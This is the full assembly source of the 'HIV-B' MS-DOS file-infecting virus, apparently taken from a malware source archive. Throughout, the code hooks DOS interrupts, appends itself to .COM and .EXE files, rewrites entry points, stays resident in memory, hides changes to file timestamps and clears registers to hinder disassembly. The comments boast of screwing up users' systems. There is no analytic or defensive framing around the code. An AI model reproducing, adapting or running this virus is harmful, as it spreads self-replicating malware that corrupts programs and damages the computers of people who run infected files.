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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.hiv-b.asm

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DATA_1E EQU 4CH ; Just a Few Data Segments that are
DATA_3E EQU 84H ; Needed for the virus to find some
DATA_5E EQU 90H ; hard core info...
DATA_7E EQU 102H
DATA_8E EQU 106H
DATA_9E EQU 122H
DATA_10E EQU 124H
DATA_11E EQU 15AH
DATA_12E EQU 450H
DATA_13E EQU 462H
DATA_14E EQU 47BH
DATA_15E EQU 0
DATA_16E EQU 1
DATA_17E EQU 2
DATA_18E EQU 6
DATA_42E EQU 0FB2CH
DATA_43E EQU 0FB2EH
DATA_44E EQU 0FB4BH
DATA_45E EQU 0FB4DH
DATA_46E EQU 0FB83H
DATA_47E EQU 0FB8DH
DATA_48E EQU 0FB8FH
DATA_49E EQU 0FB95H
DATA_50E EQU 0FB97H
DATA_51E EQU 0
DATA_52E EQU 2
SEG_A SEGMENT BYTE PUBLIC
ASSUME CS:SEG_A, DS:SEG_A
ORG 100h ; Compile this to a .COM file!
; So the Virus starts at 0100h
HIV PROC FAR
START:
JMP LOC_35
DB 0C3H
DB 23 DUP (0C3H)
DB 61H, 6EH, 74H, 69H, 64H, 65H
DB 62H, 0C3H, 0C3H, 0C3H, 0C3H
DB 'HIV-B Virus - Release 1.1 [NukE]'
DB ' '
copyright DB '(C) Edited by Rock Steady [NukE]'
DB 0, 0
DATA_24 DW 0
DATA_25 DW 0
DATA_26 DW 0
DATA_27 DW 706AH
DATA_28 DD 00000H
DATA_29 DW 0
DATA_30 DW 706AH
DATA_31 DD 00000H
DATA_32 DW 0
DATA_33 DW 706AH
DATA_34 DB 'HIV-B VIRUS - Release 1.1 [NukE]', 0AH, 0DH
DB 'Edited by Rock Steady [NukE]', 0AH, 0DH
DB '(C) 1991 Italian Virus Laboratory', 0AH, 0DH
DB '$'
DB 0E8H, 83H, 3, 3DH, 4DH, 4BH
DB 75H, 9, 55H, 8BH, 0ECH, 83H
DB 66H, 6, 0FEH, 5DH, 0CFH, 80H
DB 0FCH, 4BH, 74H, 12H, 3DH, 0
DB 3DH, 74H, 0DH, 3DH, 0, 6CH
DB 75H, 5, 80H, 0FBH, 0, 74H
DB 3
LOC_1:
JMP LOC_13
LOC_2:
PUSH ES ; Save All Regesters so that when
PUSH DS ; we restore the program it will
PUSH DI ; RUN correctly and hide the fact
PUSH SI ; that any Virii is tampering with
PUSH BP ; the System....
PUSH DX
PUSH CX
PUSH BX
PUSH AX
CALL SUB_6
CALL SUB_7
CMP AX,6C00H
JNE LOC_3 ; Jump if not equal
MOV DX,SI
LOC_3:
MOV CX,80H
MOV SI,DX
LOCLOOP_4:
INC SI ; Slowly down the System a
MOV AL,[SI] ; little.
OR AL,AL ; Zero ?
LOOPNZ LOCLOOP_4 ; Loop if zf=0, cx>0
SUB SI,2
CMP WORD PTR [SI],4D4FH
JE LOC_7 ; Jump if equal
CMP WORD PTR [SI],4558H
JE LOC_6 ; Jump if equal
LOC_5:
JMP SHORT LOC_12 ;
DB 90H
LOC_6:
CMP WORD PTR [SI-2],452EH
JE LOC_8 ; Jump if equal
JMP SHORT LOC_5 ;
LOC_7:
NOP
CMP WORD PTR [SI-2],432EH
JNE LOC_5 ; Jump if not equal
LOC_8:
MOV AX,3D02H
CALL SUB_5
JC LOC_12 ; Jump if carry Set
MOV BX,AX
MOV AX,5700H
CALL SUB_5 ; Initsilize the virus...
MOV CS:DATA_24,CX ; A Basic Start up to check
MOV CS:DATA_25,DX ; The Interrup 21h
MOV AX,4200H
XOR CX,CX
XOR DX,DX
CALL SUB_5
PUSH CS
POP DS
MOV DX,103H
MOV SI,DX
MOV CX,18H
MOV AH,3FH
CALL SUB_5
JC LOC_10 ; Jump if carry Set
CMP WORD PTR [SI],5A4DH
JNE LOC_9 ; Jump if not equal
CALL SUB_1
JMP SHORT LOC_10
LOC_9:
CALL SUB_4
LOC_10:
JC LOC_11 ; Jump if carry Set
MOV AX,5701H
MOV CX,CS:DATA_24
MOV DX,CS:DATA_25
CALL SUB_5
LOC_11:
MOV AH,3EH ; '>'
CALL SUB_5
LOC_12:
CALL SUB_7
POP AX ; A Stealth Procedure to
POP BX ; end the virus and restore
POP CX ; the program! Pup back all
POP DX ; regesters as we found them!
POP BP ; so nothings changed...
POP SI
POP DI
POP DS
POP ES
LOC_13:
JMP CS:DATA_28
DB 0B4H, 2AH, 0CDH, 21H, 0C3H
HIV ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_1 PROC NEAR ; Start of the Virus!
MOV AH,2AH ; Get the Date system Date!
INT 21H ; If its Friday Display the
; message at Data34 and End!
CMP AL,6
JE LOC_15 ; If Friday display message
JNZ LOC_14 ; If not continue infecting
LOC_14: ; and screwing the system!
MOV CX,[SI+16H]
ADD CX,[SI+8]
MOV AX,10H
MUL CX ; dx:ax = reg * ax
ADD AX,[SI+14H]
ADC DX,0
PUSH DX
PUSH AX
MOV AX,4202H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
CALL SUB_5
CMP DX,0
JNE LOC_16 ; Jump if not equal
CMP AX,64EH
JAE LOC_16 ; Jump if above or =
POP AX
POP DX
STC ; Set carry flag
RETN
LOC_15:
MOV DX,OFFSET DATA_34+18H ; Display Message at Data34!
MOV AH,9 ; With New Offset Address in
INT 21H ; memory!
;
POP AX ; Restore all Regesters as if
POP BX ; nothing was changed and exit
POP CX ; virus and run File...
POP DX
POP SI
POP DI
POP BP
POP DS
POP ES
MOV AH,0 ; Exit Virus if your in a .EXE
INT 21H ; File!!!
; Exit virus if your in a .COM
INT 20H ; File!!!
LOC_16:
MOV DI,AX
MOV BP,DX
POP CX
SUB AX,CX
POP CX
SBB DX,CX
CMP WORD PTR [SI+0CH],0
JE LOC_RET_19 ; Jump if equal
CMP DX,0
JNE LOC_17 ; Jump if not equal
CMP AX,64EH
JNE LOC_17 ; Jump if not equal
STC ; Set carry flag
RETN
LOC_17:
MOV DX,BP
MOV AX,DI
PUSH DX
PUSH AX
ADD AX,64EH
ADC DX,0
MOV CX,200H
DIV CX ; Find out How much System
LES DI,DWORD PTR [SI+2] ; memory is available...
MOV CS:DATA_26,DI ;
MOV CS:DATA_27,ES ; Every so often make the
MOV [SI+2],DX ; system memory small than
CMP DX,0 ; what it already is...
JE LOC_18 ; Screws up the users hehe
INC AX
LOC_18:
MOV [SI+4],AX
POP AX
POP DX
CALL SUB_2
SUB AX,[SI+8]
LES DI,DWORD PTR [SI+14H]
MOV DS:DATA_9E,DI
MOV DS:DATA_10E,ES
MOV [SI+14H],DX ; Tie up some memory!
MOV [SI+16H],AX ; release it on next execution
MOV DS:DATA_11E,AX ; Jump to su routine to do
MOV AX,4202H ; this and disable interrups
XOR CX,CX
XOR DX,DX
CALL SUB_5
CALL SUB_3
JC LOC_RET_19
MOV AX,4200H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
CALL SUB_5
MOV AH,40H
MOV DX,SI
MOV CX,18H
CALL SUB_5
LOC_RET_19:
RETN
SUB_1 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_2 PROC NEAR
MOV CX,4
MOV DI,AX
AND DI,0FH
LOCLOOP_20:
SHR DX,1 ; Shift w/zeros fill
RCR AX,1 ; Rotate thru carry
LOOP LOCLOOP_20 ; Loop if cx > 0
MOV DX,DI
RETN
SUB_2 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_3 PROC NEAR
MOV AH,40H
MOV CX,64EH
MOV DX,100H
CALL SUB_6
JMP SHORT LOC_24
DB 90H
;*-*- External Entry into Subroutine -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_4:
MOV AX,4202H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
CALL SUB_5
CMP AX,64EH
JB LOC_RET_23 ; Jump if below
CMP AX,0FA00H
JAE LOC_RET_23 ; Jump if above or =
PUSH AX
CMP BYTE PTR [SI],0E9H
JNE LOC_21 ; Jump if not equal
SUB AX,651H
CMP AX,[SI+1]
JNE LOC_21 ; Jump if not equal
POP AX
STC ; Set carry flag
RETN
LOC_21:
CALL SUB_3
JNC LOC_22 ; Jump if carry=0
POP AX
RETN
LOC_22:
MOV AX,4200H
XOR CX,CX ; Zero register
XOR DX,DX ; Zero register
CALL SUB_5
POP AX
SUB AX,3
MOV DX,122H
MOV SI,DX
MOV BYTE PTR CS:[SI],0E9H
MOV CS:[SI+1],AX
MOV AH,40H
MOV CX,3
CALL SUB_5
LOC_RET_23:
RETN
SUB_3 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_5 PROC NEAR
LOC_24:
PUSHF ; Push flags
CALL CS:DATA_28
RETN
SUB_5 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_6 PROC NEAR
PUSH AX
PUSH DS
PUSH ES
XOR AX,AX ; Zero register
PUSH AX
POP DS
CLI ; Disable the interrupts
LES AX,DWORD PTR DS:DATA_5E ; This Copies the Virus
MOV CS:DATA_29,AX ; to the COM File...
MOV CS:DATA_30,ES
MOV AX,46AH
MOV DS:DATA_5E,AX
MOV WORD PTR DS:DATA_5E+2,CS
LES AX,DWORD PTR DS:DATA_1E ; Loads 32Bit word..
MOV CS:DATA_32,AX ; get your info needed on
MOV CS:DATA_33,ES ; System...
LES AX,CS:DATA_31
MOV DS:DATA_1E,AX
MOV WORD PTR DS:DATA_1E+2,ES
STI ; Enable the interrupts
POP ES ; and restore regesters!
POP DS ; go back to the file
POP AX ; being executed...
RETN
SUB_6 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_7 PROC NEAR
PUSH AX
PUSH DS
PUSH ES
XOR AX,AX ; Zero register
PUSH AX
POP DS
CLI ; Disable interrupts
LES AX,DWORD PTR CS:DATA_29 ; same as Sub_6 just copy
MOV DS:DATA_5E,AX ; yourself to the EXE
MOV WORD PTR DS:DATA_5E+2,ES
LES AX,DWORD PTR CS:DATA_32
MOV DS:DATA_1E,AX
MOV WORD PTR DS:DATA_1E+2,ES
STI ; Enable interrupts
POP ES
POP DS
POP AX
RETN
SUB_7 ENDP
DB 0B0H, 3, 0CFH, 50H, 53H, 51H
DB 52H, 56H, 57H, 55H, 1EH, 6
DB 33H, 0C0H, 50H, 1FH, 8AH, 3EH
DB 62H, 4, 0A1H, 50H, 4, 2EH
DB 0A3H, 0CEH, 4, 2EH, 0A1H, 0C7H
DB 4, 0A3H, 50H, 4, 2EH, 0A1H
DB 0C5H, 4, 8AH, 0DCH, 0B4H, 9
DB 0B9H, 1, 0, 0CDH, 10H, 0E8H
DB 34H, 0, 0E8H, 0B7H, 0, 2EH
DB 0A1H, 0C7H, 4, 0A3H, 50H, 4
DB 0B3H, 2, 0B8H, 2, 9, 0B9H
DB 1, 0, 0CDH, 10H, 2EH, 0A1H
DB 0CEH, 4, 0A3H, 50H, 4, 7
DB 1FH
DB ']_^ZY[X.'
DB 0FFH, 2EH, 0CAH, 4
DATA_36 DW 0
DATA_37 DW 1010H
DATA_39 DB 0
DATA_40 DD 706A0000H
DB 0, 0, 2EH, 0A1H, 0C7H, 4
DB 8BH, 1EH, 4AH, 4, 4BH, 2EH
DB 0F6H, 6, 0C9H, 4, 1, 74H
DB 0CH, 3AH, 0C3H, 72H, 12H, 2EH
DB 80H, 36H, 0C9H, 4, 1, 0EBH
DB 0AH
LOC_25:
CMP AL,0
JG LOC_26 ; Jump if >
XOR CS:DATA_39,1
LOC_26:
TEST CS:DATA_39,2
JZ LOC_27 ; Jump if zero
CMP AH,18H
JB LOC_28 ; Jump if below
XOR CS:DATA_39,2
JMP SHORT LOC_28
LOC_27:
CMP AH,0
JG LOC_28 ; Jump if >
XOR CS:DATA_39,2
LOC_28:
CMP BYTE PTR CS:DATA_36,20H
JE LOC_29 ; Jump if equal
CMP BYTE PTR CS:DATA_37+1,0
JE LOC_29 ; Jump if equal
XOR CS:DATA_39,2
LOC_29:
TEST CS:DATA_39,1
JZ LOC_30 ; Jump if zero
INC BYTE PTR CS:DATA_37
JMP SHORT LOC_31
LOC_30:
DEC BYTE PTR CS:DATA_37 ; (706A:04C7=10H)
LOC_31:
TEST CS:DATA_39,2 ; (706A:04C9=0)
JZ LOC_32 ; Jump if zero
INC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H)
JMP SHORT LOC_RET_33 ; (0555)
LOC_32:
DEC BYTE PTR CS:DATA_37+1 ; (706A:04C8=10H)
LOC_RET_33:
RETN
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_8 PROC NEAR
MOV AX,CS:DATA_37
MOV DS:DATA_12E,AX ; Get info on type of Video
MOV BH,DS:DATA_13E ; Display the system has...
MOV AH,8
INT 10H ; with ah=functn 08h
; basically fuck the cursur..
MOV CS:DATA_36,AX
RETN
SUB_8 ENDP
DB 50H, 53H, 51H, 52H, 56H, 57H
DB 55H, 1EH, 6, 33H, 0C0H, 50H
DB 1FH, 81H, 3EH, 70H, 0, 6DH
DB 4, 74H, 35H, 0A1H, 6CH, 4
DB 8BH, 16H, 6EH, 4, 0B9H, 0FFH
DB 0FFH, 0F7H, 0F1H, 3DH, 10H, 0
DB 75H, 24H, 0FAH, 8BH, 2EH, 50H
DB 4, 0E8H, 0BEH, 0FFH, 89H, 2EH
DB 50H, 4, 0C4H, 6, 70H, 0
DB 2EH, 0A3H, 0CAH, 4, 2EH, 8CH
DB 6, 0CCH, 4, 0C7H, 6, 70H
DB 0, 6DH, 4, 8CH, 0EH, 72H
DB 0, 0FBH
LOC_34:
POP ES
POP DS ; Restore and get lost...
POP BP
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
RETN
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_9 PROC NEAR
MOV DX,10H
MUL DX ; dx:ax = reg * ax
RETN
SUB_9 ENDP
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_10 PROC NEAR
XOR AX,AX ; If if wants to dissamble
XOR BX,BX ; us give him a HARD time...
XOR CX,CX ; By making all into 0
XOR DX,DX ; Zero register
XOR SI,SI ; Zero register
XOR DI,DI ; Zero register
XOR BP,BP ; Zero register
RETN
SUB_10 ENDP
LOC_35:
PUSH DS
CALL SUB_11
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
;*- SUBROUTINE *-
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
SUB_11 PROC NEAR
MOV AX,4B4DH
INT 21H ; Load and EXEC file...
; be runned...
NOP
JC LOC_36 ; Jump if carry Set
JMP LOC_46
LOC_36:
POP SI
PUSH SI
MOV DI,SI
XOR AX,AX ; Zero register
PUSH AX
POP DS
LES AX,DWORD PTR DS:DATA_1E ; Load 32 bit ptr
MOV CS:DATA_49E[SI],AX ; Move lots of data
MOV CS:DATA_50E[SI],ES ; into CS to infect the file
LES BX,DWORD PTR DS:DATA_3E ; if not infected and shit..
MOV CS:DATA_47E[DI],BX
MOV CS:DATA_48E[DI],ES
MOV AX,DS:DATA_7E
CMP AX,0F000H
JNE LOC_44 ; Jump if not equal
MOV DL,80H
MOV AX,DS:DATA_8E
CMP AX,0F000H
JE LOC_37 ; Jump if equal
CMP AH,0C8H
JB LOC_44 ; Jump if below
CMP AH,0F4H
JAE LOC_44 ; Jump if above or =
TEST AL,7FH
JNZ LOC_44 ; Jump if not zero
MOV DS,AX
CMP WORD PTR DS:DATA_51E,0AA55H
JNE LOC_44 ; Jump if not equal
MOV DL,DS:DATA_52E
LOC_37:
MOV DS,AX
XOR DH,DH ; Zero register
MOV CL,9
SHL DX,CL ; Shift w/zeros fill
MOV CX,DX
XOR SI,SI ; Zero register
LOCLOOP_38:
LODSW ; String [si] to ax
CMP AX,0FA80H
JNE LOC_39 ; Jump if not equal
LODSW ; String [si] to ax
CMP AX,7380H
JE LOC_40 ; Jump if equal
JNZ LOC_41 ; Jump if not zero
LOC_39:
CMP AX,0C2F6H
JNE LOC_42 ; Jump if not equal
LODSW ; String [si] to ax
CMP AX,7580H
JNE LOC_41 ; Jump if not equal
LOC_40:
INC SI
LODSW ; String [si] to ax
CMP AX,40CDH
JE LOC_43 ; Jump if equal
SUB SI,3
LOC_41:
DEC SI
DEC SI
LOC_42:
DEC SI
LOOP LOCLOOP_38 ; Loop if cx > 0
JMP SHORT LOC_44
LOC_43:
SUB SI,7
MOV CS:DATA_49E[DI],SI
MOV CS:DATA_50E[DI],DS
LOC_44:
MOV AH,62H
INT 21H ; Simple...Get the PSP
; Address (Program segment
MOV ES,BX ; address and but in BX)
MOV AH,49H
INT 21H ; Get the Free memory from
; the system
MOV BX,0FFFFH ; release extra memory blocks
MOV AH,48H
INT 21H ; Allocate the memory
; At BX (# bytes)
SUB BX,66H ; it attaches virus right
NOP ; under the 640k
JC LOC_46
MOV CX,ES ; did it work? If not just
STC ; end the virus...
ADC CX,BX
MOV AH,4AH
INT 21H ; Adjust teh memory block
; size! BX has the # of bytes
MOV BX,65H
STC ; Set carry flag
SBB ES:DATA_17E,BX ; Where to attach itself!
PUSH ES ; under 640K
MOV ES,CX
MOV AH,4AH
INT 21H ; Just change the memory
; allocations! (BX=Btyes Size)
MOV AX,ES
DEC AX
MOV DS,AX
MOV WORD PTR DS:DATA_16E,8 ;Same place under 640k
CALL SUB_9
MOV BX,AX
MOV CX,DX
POP DS
MOV AX,DS
CALL SUB_9
ADD AX,DS:DATA_18E
ADC DX,0
SUB AX,BX
SBB DX,CX
JC LOC_45 ; Jump if carry Set
SUB DS:DATA_18E,AX
LOC_45:
MOV SI,DI
XOR DI,DI ; Zero register
PUSH CS
POP DS
SUB SI,4D7H
MOV CX,64EH
INC CX
REP MOVSB ; Rep when cx >0 Mov [si] to
MOV AH,62H ; es:[di]
INT 21H ; Get the Program segment
; prefix...so we can infect it
DEC BX
MOV DS,BX
MOV BYTE PTR DS:DATA_15E,5AH
MOV DX,1E4H
XOR AX,AX ; Zero register
PUSH AX
POP DS
MOV AX,ES
SUB AX,10H
MOV ES,AX
CLI ; Disable interrupts
MOV DS:DATA_3E,DX ;
MOV WORD PTR DS:DATA_3E+2,ES
STI ; Enable interrupts
DEC BYTE PTR DS:DATA_14E ;
LOC_46:
POP SI
CMP WORD PTR CS:DATA_42E[SI],5A4DH
JNE LOC_47 ; Jump if not equal
POP DS
MOV AX,CS:DATA_46E[SI]
MOV BX,CS:DATA_45E[SI] ; all this shit is to restore
PUSH CS ; the program and continue
POP CX ; running the original
SUB CX,AX ; program...
ADD CX,BX
PUSH CX
PUSH WORD PTR CS:DATA_44E[SI]
PUSH DS
POP ES
CALL SUB_10
RETF
LOC_47:
POP AX
MOV AX,CS:DATA_42E[SI]
MOV WORD PTR CS:[100H],AX
MOV AX,CS:DATA_43E[SI]
MOV WORD PTR CS:[102H],AX
MOV AX,100H
PUSH AX
PUSH CS
POP DS
PUSH DS
POP ES
CALL SUB_10
RETN
SUB_11 ENDP
SEG_A ENDS
END START
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